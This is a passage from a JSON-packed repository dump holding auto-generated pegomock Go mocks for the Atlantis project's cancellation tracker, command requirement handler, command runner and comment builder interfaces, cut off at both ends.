param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]int, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(int)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_cancellation_tracker.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: CancellationTracker)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tmodels \"github.com/runatlantis/atlantis/server/events/models\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockCancellationTracker struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockCancellationTracker(options ...pegomock.Option) *MockCancellationTracker {\n\tmock := &MockCancellationTracker{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockCancellationTracker) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockCancellationTracker) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockCancellationTracker) Cancel(pull models.PullRequest) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockCancellationTracker().\")\n\t}\n\t_params := []pegomock.Param{pull}\n\tpegomock.GetGenericMockFrom(mock).Invoke(\"Cancel\", _params, []reflect.Type{})\n}\n\nfunc (mock *MockCancellationTracker) Clear(pull models.PullRequest) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockCancellationTracker().\")\n\t}\n\t_params := []pegomock.Param{pull}\n\tpegomock.GetGenericMockFrom(mock).Invoke(\"Clear\", _params, []reflect.Type{})\n}\n\nfunc (mock *MockCancellationTracker) IsCancelled(pull models.PullRequest) bool {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockCancellationTracker().\")\n\t}\n\t_params := []pegomock.Param{pull}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"IsCancelled\", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem()})\n\tvar _ret0 bool\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(bool)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockCancellationTracker) VerifyWasCalledOnce() *VerifierMockCancellationTracker {\n\treturn &VerifierMockCancellationTracker{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockCancellationTracker) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockCancellationTracker {\n\treturn &VerifierMockCancellationTracker{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockCancellationTracker) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockCancellationTracker {\n\treturn &VerifierMockCancellationTracker{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockCancellationTracker) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockCancellationTracker {\n\treturn &VerifierMockCancellationTracker{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockCancellationTracker struct {\n\tmock                   *MockCancellationTracker\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockCancellationTracker) Cancel(pull models.PullRequest) *MockCancellationTracker_Cancel_OngoingVerification {\n\t_params := []pegomock.Param{pull}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Cancel\", _params, verifier.timeout)\n\treturn &MockCancellationTracker_Cancel_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockCancellationTracker_Cancel_OngoingVerification struct {\n\tmock              *MockCancellationTracker\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockCancellationTracker_Cancel_OngoingVerification) GetCapturedArguments() models.PullRequest {\n\tpull := c.GetAllCapturedArguments()\n\treturn pull[len(pull)-1]\n}\n\nfunc (c *MockCancellationTracker_Cancel_OngoingVerification) GetAllCapturedArguments() (_param0 []models.PullRequest) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockCancellationTracker) Clear(pull models.PullRequest) *MockCancellationTracker_Clear_OngoingVerification {\n\t_params := []pegomock.Param{pull}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Clear\", _params, verifier.timeout)\n\treturn &MockCancellationTracker_Clear_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockCancellationTracker_Clear_OngoingVerification struct {\n\tmock              *MockCancellationTracker\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockCancellationTracker_Clear_OngoingVerification) GetCapturedArguments() models.PullRequest {\n\tpull := c.GetAllCapturedArguments()\n\treturn pull[len(pull)-1]\n}\n\nfunc (c *MockCancellationTracker_Clear_OngoingVerification) GetAllCapturedArguments() (_param0 []models.PullRequest) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockCancellationTracker) IsCancelled(pull models.PullRequest) *MockCancellationTracker_IsCancelled_OngoingVerification {\n\t_params := []pegomock.Param{pull}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"IsCancelled\", _params, verifier.timeout)\n\treturn &MockCancellationTracker_IsCancelled_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockCancellationTracker_IsCancelled_OngoingVerification struct {\n\tmock              *MockCancellationTracker\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockCancellationTracker_IsCancelled_OngoingVerification) GetCapturedArguments() models.PullRequest {\n\tpull := c.GetAllCapturedArguments()\n\treturn pull[len(pull)-1]\n}\n\nfunc (c *MockCancellationTracker_IsCancelled_OngoingVerification) GetAllCapturedArguments() (_param0 []models.PullRequest) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_command_requirement_handler.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: CommandRequirementHandler)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tcommand \"github.com/runatlantis/atlantis/server/events/command\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockCommandRequirementHandler struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockCommandRequirementHandler(options ...pegomock.Option) *MockCommandRequirementHandler {\n\tmock := &MockCommandRequirementHandler{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockCommandRequirementHandler) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockCommandRequirementHandler) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockCommandRequirementHandler) ValidateApplyProject(repoDir string, ctx command.ProjectContext) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockCommandRequirementHandler().\")\n\t}\n\t_params := []pegomock.Param{repoDir, ctx}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"ValidateApplyProject\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockCommandRequirementHandler) ValidateImportProject(repoDir string, ctx command.ProjectContext) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockCommandRequirementHandler().\")\n\t}\n\t_params := []pegomock.Param{repoDir, ctx}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"ValidateImportProject\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockCommandRequirementHandler) ValidatePlanProject(repoDir string, ctx command.ProjectContext) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockCommandRequirementHandler().\")\n\t}\n\t_params := []pegomock.Param{repoDir, ctx}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"ValidatePlanProject\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockCommandRequirementHandler) ValidateProjectDependencies(ctx command.ProjectContext) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockCommandRequirementHandler().\")\n\t}\n\t_params := []pegomock.Param{ctx}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"ValidateProjectDependencies\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockCommandRequirementHandler) VerifyWasCalledOnce() *VerifierMockCommandRequirementHandler {\n\treturn &VerifierMockCommandRequirementHandler{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockCommandRequirementHandler) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockCommandRequirementHandler {\n\treturn &VerifierMockCommandRequirementHandler{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockCommandRequirementHandler) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockCommandRequirementHandler {\n\treturn &VerifierMockCommandRequirementHandler{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockCommandRequirementHandler) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockCommandRequirementHandler {\n\treturn &VerifierMockCommandRequirementHandler{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockCommandRequirementHandler struct {\n\tmock                   *MockCommandRequirementHandler\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockCommandRequirementHandler) ValidateApplyProject(repoDir string, ctx command.ProjectContext) *MockCommandRequirementHandler_ValidateApplyProject_OngoingVerification {\n\t_params := []pegomock.Param{repoDir, ctx}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"ValidateApplyProject\", _params, verifier.timeout)\n\treturn &MockCommandRequirementHandler_ValidateApplyProject_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockCommandRequirementHandler_ValidateApplyProject_OngoingVerification struct {\n\tmock              *MockCommandRequirementHandler\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockCommandRequirementHandler_ValidateApplyProject_OngoingVerification) GetCapturedArguments() (string, command.ProjectContext) {\n\trepoDir, ctx := c.GetAllCapturedArguments()\n\treturn repoDir[len(repoDir)-1], ctx[len(ctx)-1]\n}\n\nfunc (c *MockCommandRequirementHandler_ValidateApplyProject_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []command.ProjectContext) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]command.ProjectContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(command.ProjectContext)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockCommandRequirementHandler) ValidateImportProject(repoDir string, ctx command.ProjectContext) *MockCommandRequirementHandler_ValidateImportProject_OngoingVerification {\n\t_params := []pegomock.Param{repoDir, ctx}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"ValidateImportProject\", _params, verifier.timeout)\n\treturn &MockCommandRequirementHandler_ValidateImportProject_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockCommandRequirementHandler_ValidateImportProject_OngoingVerification struct {\n\tmock              *MockCommandRequirementHandler\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockCommandRequirementHandler_ValidateImportProject_OngoingVerification) GetCapturedArguments() (string, command.ProjectContext) {\n\trepoDir, ctx := c.GetAllCapturedArguments()\n\treturn repoDir[len(repoDir)-1], ctx[len(ctx)-1]\n}\n\nfunc (c *MockCommandRequirementHandler_ValidateImportProject_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []command.ProjectContext) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]command.ProjectContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(command.ProjectContext)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockCommandRequirementHandler) ValidatePlanProject(repoDir string, ctx command.ProjectContext) *MockCommandRequirementHandler_ValidatePlanProject_OngoingVerification {\n\t_params := []pegomock.Param{repoDir, ctx}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"ValidatePlanProject\", _params, verifier.timeout)\n\treturn &MockCommandRequirementHandler_ValidatePlanProject_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockCommandRequirementHandler_ValidatePlanProject_OngoingVerification struct {\n\tmock              *MockCommandRequirementHandler\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockCommandRequirementHandler_ValidatePlanProject_OngoingVerification) GetCapturedArguments() (string, command.ProjectContext) {\n\trepoDir, ctx := c.GetAllCapturedArguments()\n\treturn repoDir[len(repoDir)-1], ctx[len(ctx)-1]\n}\n\nfunc (c *MockCommandRequirementHandler_ValidatePlanProject_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []command.ProjectContext) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]command.ProjectContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(command.ProjectContext)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockCommandRequirementHandler) ValidateProjectDependencies(ctx command.ProjectContext) *MockCommandRequirementHandler_ValidateProjectDependencies_OngoingVerification {\n\t_params := []pegomock.Param{ctx}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"ValidateProjectDependencies\", _params, verifier.timeout)\n\treturn &MockCommandRequirementHandler_ValidateProjectDependencies_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockCommandRequirementHandler_ValidateProjectDependencies_OngoingVerification struct {\n\tmock              *MockCommandRequirementHandler\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockCommandRequirementHandler_ValidateProjectDependencies_OngoingVerification) GetCapturedArguments() command.ProjectContext {\n\tctx := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1]\n}\n\nfunc (c *MockCommandRequirementHandler_ValidateProjectDependencies_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]command.ProjectContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(command.ProjectContext)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_command_runner.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: CommandRunner)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tevents \"github.com/runatlantis/atlantis/server/events\"\n\tmodels \"github.com/runatlantis/atlantis/server/events/models\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockCommandRunner struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockCommandRunner(options ...pegomock.Option) *MockCommandRunner {\n\tmock := &MockCommandRunner{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockCommandRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockCommandRunner) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockCommandRunner) RunAutoplanCommand(baseRepo models.Repo, headRepo models.Repo, pull models.PullRequest, user models.User) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockCommandRunner().\")\n\t}\n\t_params := []pegomock.Param{baseRepo, headRepo, pull, user}\n\tpegomock.GetGenericMockFrom(mock).Invoke(\"RunAutoplanCommand\", _params, []reflect.Type{})\n}\n\nfunc (mock *MockCommandRunner) RunCommentCommand(baseRepo models.Repo, maybeHeadRepo *models.Repo, maybePull *models.PullRequest, user models.User, pullNum int, cmd *events.CommentCommand) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockCommandRunner().\")\n\t}\n\t_params := []pegomock.Param{baseRepo, maybeHeadRepo, maybePull, user, pullNum, cmd}\n\tpegomock.GetGenericMockFrom(mock).Invoke(\"RunCommentCommand\", _params, []reflect.Type{})\n}\n\nfunc (mock *MockCommandRunner) VerifyWasCalledOnce() *VerifierMockCommandRunner {\n\treturn &VerifierMockCommandRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockCommandRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockCommandRunner {\n\treturn &VerifierMockCommandRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockCommandRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockCommandRunner {\n\treturn &VerifierMockCommandRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockCommandRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockCommandRunner {\n\treturn &VerifierMockCommandRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockCommandRunner struct {\n\tmock                   *MockCommandRunner\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockCommandRunner) RunAutoplanCommand(baseRepo models.Repo, headRepo models.Repo, pull models.PullRequest, user models.User) *MockCommandRunner_RunAutoplanCommand_OngoingVerification {\n\t_params := []pegomock.Param{baseRepo, headRepo, pull, user}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"RunAutoplanCommand\", _params, verifier.timeout)\n\treturn &MockCommandRunner_RunAutoplanCommand_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockCommandRunner_RunAutoplanCommand_OngoingVerification struct {\n\tmock              *MockCommandRunner\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockCommandRunner_RunAutoplanCommand_OngoingVerification) GetCapturedArguments() (models.Repo, models.Repo, models.PullRequest, models.User) {\n\tbaseRepo, headRepo, pull, user := c.GetAllCapturedArguments()\n\treturn baseRepo[len(baseRepo)-1], headRepo[len(headRepo)-1], pull[len(pull)-1], user[len(user)-1]\n}\n\nfunc (c *MockCommandRunner_RunAutoplanCommand_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []models.User) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]models.User, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(models.User)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockCommandRunner) RunCommentCommand(baseRepo models.Repo, maybeHeadRepo *models.Repo, maybePull *models.PullRequest, user models.User, pullNum int, cmd *events.CommentCommand) *MockCommandRunner_RunCommentCommand_OngoingVerification {\n\t_params := []pegomock.Param{baseRepo, maybeHeadRepo, maybePull, user, pullNum, cmd}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"RunCommentCommand\", _params, verifier.timeout)\n\treturn &MockCommandRunner_RunCommentCommand_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockCommandRunner_RunCommentCommand_OngoingVerification struct {\n\tmock              *MockCommandRunner\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockCommandRunner_RunCommentCommand_OngoingVerification) GetCapturedArguments() (models.Repo, *models.Repo, *models.PullRequest, models.User, int, *events.CommentCommand) {\n\tbaseRepo, maybeHeadRepo, maybePull, user, pullNum, cmd := c.GetAllCapturedArguments()\n\treturn baseRepo[len(baseRepo)-1], maybeHeadRepo[len(maybeHeadRepo)-1], maybePull[len(maybePull)-1], user[len(user)-1], pullNum[len(pullNum)-1], cmd[len(cmd)-1]\n}\n\nfunc (c *MockCommandRunner_RunCommentCommand_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []*models.Repo, _param2 []*models.PullRequest, _param3 []models.User, _param4 []int, _param5 []*events.CommentCommand) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]*models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(*models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]*models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(*models.PullRequest)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]models.User, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(models.User)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 4 {\n\t\t\t_param4 = make([]int, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[4] {\n\t\t\t\t_param4[u] = param.(int)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 5 {\n\t\t\t_param5 = make([]*events.CommentCommand, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[5] {\n\t\t\t\t_param5[u] = param.(*events.CommentCommand)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_comment_building.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: CommentBuilder)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockCommentBuilder struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockCommentBuilder(options ...pegomock.Option) *MockCommentBuilder {\n\tmock := &MockCommentBuilder{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockCommentBuilder) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockCommentBuilder) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockCommentBuilder) BuildApplyComment(repoRelDir string, workspace string, project string, autoMergeDisabled bool, autoMergeMethod string) string {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockCommentBuilder().\")\n\t}\n\t_params := []pegomock.Param{repoRelDir, workspace, project, autoMergeDisabled, autoMergeMethod}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"BuildApplyComment\", _params, 